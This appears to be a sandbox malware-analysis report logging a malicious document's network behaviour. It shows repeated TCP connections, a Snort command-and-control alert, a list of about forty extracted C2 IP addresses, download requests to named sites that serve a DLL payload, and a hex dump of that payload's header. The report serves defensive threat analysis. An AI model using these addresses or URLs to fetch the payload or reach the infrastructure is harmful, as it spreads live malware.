Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 165.22.254.68:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 66.96.149.19:80

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\regsvr32.exe Network Connect: 165.22.254.68 443 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Network Connect: 198.199.70.22 8080 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 192.168.2.22:49177 -> 198.199.70.22:8080
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 165.22.254.68:443
Source: Malware configuration extractor IPs: 198.199.70.22:8080
Source: Malware configuration extractor IPs: 104.244.79.94:443
Source: Malware configuration extractor IPs: 103.224.241.74:8080
Source: Malware configuration extractor IPs: 88.217.172.165:8080
Source: Malware configuration extractor IPs: 118.98.72.86:443
Source: Malware configuration extractor IPs: 104.248.225.227:8080
Source: Malware configuration extractor IPs: 196.44.98.190:8080
Source: Malware configuration extractor IPs: 103.254.12.236:7080
Source: Malware configuration extractor IPs: 157.245.111.0:8080
Source: Malware configuration extractor IPs: 68.183.91.111:8080
Source: Malware configuration extractor IPs: 202.29.239.162:443
Source: Malware configuration extractor IPs: 37.44.244.177:8080
Source: Malware configuration extractor IPs: 139.196.72.155:8080
Source: Malware configuration extractor IPs: 64.227.55.231:8080
Source: Malware configuration extractor IPs: 103.85.95.4:8080
Source: Malware configuration extractor IPs: 195.77.239.39:8080
Source: Malware configuration extractor IPs: 202.134.4.210:7080
Source: Malware configuration extractor IPs: 54.37.106.167:8080
Source: Malware configuration extractor IPs: 103.41.204.169:8080
Source: Malware configuration extractor IPs: 85.25.120.45:8080
Source: Malware configuration extractor IPs: 59.148.253.194:443
Source: Malware configuration extractor IPs: 175.126.176.79:8080
Source: Malware configuration extractor IPs: 103.126.216.86:443
Source: Malware configuration extractor IPs: 93.104.209.107:8080
Source: Malware configuration extractor IPs: 103.56.149.105:8080
Source: Malware configuration extractor IPs: 202.28.34.99:8080
Source: Malware configuration extractor IPs: 103.71.99.57:8080
Source: Malware configuration extractor IPs: 62.171.178.147:8080
Source: Malware configuration extractor IPs: 116.124.128.206:8080
Source: Malware configuration extractor IPs: 54.37.228.122:443
Source: Malware configuration extractor IPs: 210.57.209.142:8080
Source: Malware configuration extractor IPs: 128.199.217.206:443
Source: Malware configuration extractor IPs: 36.67.23.59:443
Source: Malware configuration extractor IPs: 188.225.32.231:4143
Source: Malware configuration extractor IPs: 87.106.97.83:7080
Source: Malware configuration extractor IPs: 85.214.67.203:8080
Source: Malware configuration extractor IPs: 78.47.204.80:443
Source: Malware configuration extractor IPs: 178.62.112.199:8080
Source: Malware configuration extractor IPs: 165.232.185.110:8080
Source: Malware configuration extractor IPs: 157.230.99.206:8080
Source: Malware configuration extractor IPs: 165.22.254.236:8080
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
Source: Joe Sandbox View ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 157.245.111.0 157.245.111.0
Source: Joe Sandbox View IP Address: 157.230.99.206 157.230.99.206
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 06 Aug 2022 07:20:16 GMTContent-Type: application/x-msdownloadContent-Length: 661504Connection: keep-aliveX-Powered-By: PHP/7.1.33Cache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Sat, 06 Aug 2022 07:20:16 GMTContent-Disposition: attachment; filename="UVvnppK.dll"Content-Transfer-Encoding: binarySet-Cookie: 62ee1630cc8c8=1659770416; expires=Sat, 06-Aug-2022 07:21:16 GMT; Max-Age=60; path=/Last-Modified: Sat, 06 Aug 2022 07:20:16 GMTX-Powered-By: PleskLinData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 6a 38 a2 62 00 00 00 00 00 00 00 00 f0 00 2e 22 0b 02 02 15 00 24 00 00 00 f0 09 00 00 0a 00 00 f0 13 00 00 00 10 00 00 00 00 a0 61 00 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 b0 0a 00 00 04 00 00 d6 b9 0a 00 03 00 00 00 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 90 00 00 45 01 00 00 00 a0 00 00 28 07 00 00 00 d0 00 00 cc c4 09 00 00 60 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 a0 0a 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 a1 00 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 30 23 00 00 00 10 00 00 00 24 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 50 60 2e 64 61 74 61 00 00 00 e0 0d 00 00 00 40 00 00 00 0e 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 b0 02 00 00 00 50 00 00 00 04 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 70 64 61 74 61 00 00 30 03 00 00 00 60 00 00 00 04 00 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 78 64 61 74 61 00 00 98 02 00 00 00 70 00 00 00 04 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 a0 09 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 45 01 00 00 00 90 00 00 00 02 00 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 28 07 00 00 00 a0 00 00 00 08 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 58 00 00 00 00 b0 00 00 00 02 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 74 6c 73 00 00 00 00 48 00 00 00 00 c0 00 00 00 02 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 Data Ascii: MZ@
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /images/psQbAjrrEOXWPrS/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.zardamarine.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /tr/68yHRhfuU7Qj/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kronostr.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cgi-bin/Rea3Iu3wGvgAbTset0/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: labfitouts.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 198.199.70.22:8080
Connects to several IPs in different countries
Source: unknown Network traffic detected: IP country count 17
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 06 Aug 2022 07:20:17 GMTContent-Type: text/htmlContent-Length: 961Connection: closeLast-Modified: Wed, 04 Jan 2017 19:07:47 GMTETag: "2a8f73-3c1-54549800fc6c0"Accept-Ranges: bytes
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 165.22.254.68
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: unknown TCP traffic detected without corresponding DNS query: 198.199.70.22
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: regsvr32.exe, 00000007.00000002.1197156403.0000000002C28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1197051970.0000000000443000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1002852699.0000000000443000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
